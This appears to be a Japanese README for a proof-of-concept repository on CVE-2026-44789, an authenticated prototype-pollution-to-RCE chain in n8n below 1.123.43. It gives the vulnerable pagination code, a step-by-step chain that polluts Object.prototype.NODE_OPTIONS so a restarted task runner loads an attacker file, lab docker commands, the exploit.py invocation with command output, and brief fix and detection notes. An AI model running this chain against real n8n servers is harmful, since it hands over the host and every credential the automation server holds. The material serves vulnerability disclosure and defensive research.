
CVE-2026-44789 — n8n <1.123.43 HTTPリクエストのページネーションにおけるprototype pollutionからRCE(NODE_OPTIONS runner-spawn gadget)。Lab + automated PoC、検証済みe2e。
認証された n8n
< 1.123.43のワークフロー作成者が、HTTPリクエストノードのページネーション設定を通じて n8n サーバープロセスのObject.prototypeを汚染し、 n8nがタスクランナーを起動する方法を悪用してリモートコード実行にエスカレーションします。 汚染されたNODE_OPTIONSが子nodeプロセスに漏れ出し、コードノードのサンドボックスをバイパスします。
| CVE | CVE-2026-44789 |
| アドバイザリ | GHSA-c8xv-5998-g76h |
| 影響を受けるバージョン | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| 修正バージョン | 1.123.43 / 2.20.7 / 2.22.1 |
| クラス | CWE-1321 (プロトタイプ汚染) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / 緊急 |
| 認証 | 認証済み (ワークフローの作成/変更権限) |
| ステータス | 確定 — n8nio/n8n:1.123.42 に対して完全なチェーンをエンドツーエンドで再現済み |
公開アドバイザリでは、汚染が*「他の手法と組み合わせることでRCEにつながる可能性がある」*とだけ述べており、ガジェットは開示されていません。このリポジトリは、具体的で検証済みのプロトタイプ汚染→RCEチェーンを文書化し、自動化します。
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts、ページネーションモード updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type、parameterName、parameterValueはすべてワークフローJSON(攻撃者制御)から取得されます。parameter.type = "__proto__" の場合、paginationData.request["__proto__"]はObject.prototypeに解決されるため、代入によりObject.prototype[parameterName] = parameterValueが書き込まれます — n8nサーバープロセスにおけるグローバルなプロトタイプ汚染です。
修正ではpaginationData.requestにObject.create(null)を使用するため、["__proto__"]はプロトタイプではなく通常の(nullプロトの)キーになります。
packages/cli/src/task-runners/task-runner-process-js.tsがJSタスクランナーを起動します:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
NodeのnormalizeSpawnArgumentsは、子プロセスの環境変数を**for (const key in env)** で構築し、継承された列挙可能なプロパティを列挙します。Object.prototype.NODE_OPTIONS = "--require=/path/evil.js"を汚染すると、起動されたランナーの環境変数に漏れ出します。子プロセスはnodeであり、NODE_OPTIONSを尊重するため、起動時に攻撃者のファイルを--requireし → Codeノードのサンドボックス外、n8nサービスのユーザーとしてコードが実行されます。
ランナーは起動時に起動されますが、そのライフサイクルはプロセスが終了するたびに再起動されます(onProcessExit → start())。攻撃者は、Codeノードでランナーをハングさせる(タスクタイムアウト/OOMで強制終了)ことで、汚染後に再起動を強制します。
exploit.pyの動作)1. /tmp/evil.js を作成 Set→Convert to File→Read/Write Files ノード経由
2. タスクランナーをハングさせる Codeノード経由 ( while(true){} ) [汚染の前]
3. Object.prototype.NODE_OPTIONS を汚染する HTTPリクエストノード経由 ( type="__proto__" )
4. ハングしたランナーがタイムアウト → メインプロセスが 'node' を再起動 → NODE_OPTIONS を継承
→ require('/tmp/evil.js') → RCE
順序が重要です: 汚染によりNODE_OPTIONSはObject.prototype上の列挙可能な独自ではないキーとなり、n8nのTypeORMレイヤーが(エンティティに対するfor…inで)つまずき、ワークフローの永続化が壊れます。したがって、ランナーは汚染が行われる前にすでにハングしていなければなりません。再起動時に汚染された環境が引き継がれます。
設定の範囲(最初に読んでください)。 プロトタイプ汚染プリミティブは、設定変更なしで影響を受けるすべてのバージョンで発火します。RCEガジェットはタスクランナーを必要とし、ブランチによって到達方法が異なります:
- 影響を受けるn8n 2.x (2.0.0–2.20.6, 2.21.0–2.22.0): タスクランナーはデフォルト/必須です(
N8N_RUNNERS_ENABLEDは非推奨→SAFE_TO_REMOVE)。したがって、完全なRCEチェーンはデフォルト設定となります。- 影響を受けるn8n 1.123.x(このラボイメージ): タスクランナーはデフォルトでオフです。そのため、ラボでは
N8N_RUNNERS_ENABLED=trueを設定して2.xのデフォルトを模倣しています。N8N_RUNNERS_TASK_TIMEOUTは、ハングしたランナーの再起動をより速く発生させるためにのみ短縮されています — これはバグに必須ではありません。
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42、2.xを模倣するためにランナー有効化
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# コマンド出力はn8nホストに現れます:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.pyはPython標準ライブラリのみを使用し、n8n REST APIをエンドツーエンドで操作します(オーナーセットアップ/ログイン→ワークフローのデプロイ→チェーンの発火)。
観測結果:
[*] step 1: --requireペイロードを/tmp/evil.jsに書き込み (Read/Write Filesノード経由)
[*] step 2: ハングタスクをディスパッチ → ランナーがビジー状態に
[*] step 3: Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js を汚染
[*] ハングしたランナーがタイムアウトし、再起動されてNODE_OPTIONSを継承するのを待機 ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node)はランナーのサービスアカウントであり、出力はリアルタイムのid/uname状態です — 入力のエコーではなく、実際の実行結果です。
ワークフローを作成または変更できる認証済みユーザーは、n8nホスト上でOSコマンド実行を獲得し、Codeノードのサンドボックスを脱出します — オートメーションサーバーと、それがアクセスできるすべての認証情報/システムの完全な侵害です。
Object.create(null)で構築され、__proto__書き込みを防ぎます)。--disable-proto=delete / --disallow-code-generation-from-stringsで強化されていますが、これらが保護するのはランナーであり、汚染が到達するメインプロセスではありません。HTTPリクエストのページネーションパラメータでtype値が__proto__ / constructor / prototypeであるワークフロー、およびn8n/TypeORMログにNODE_OPTIONSがエンティティプロパティエラーとして表示されることを検出します。
プリミティブ、Nodeのfor…in環境変数動作、ランナーのライフサイクル、パッチについてはANALYSIS.mdを参照してください。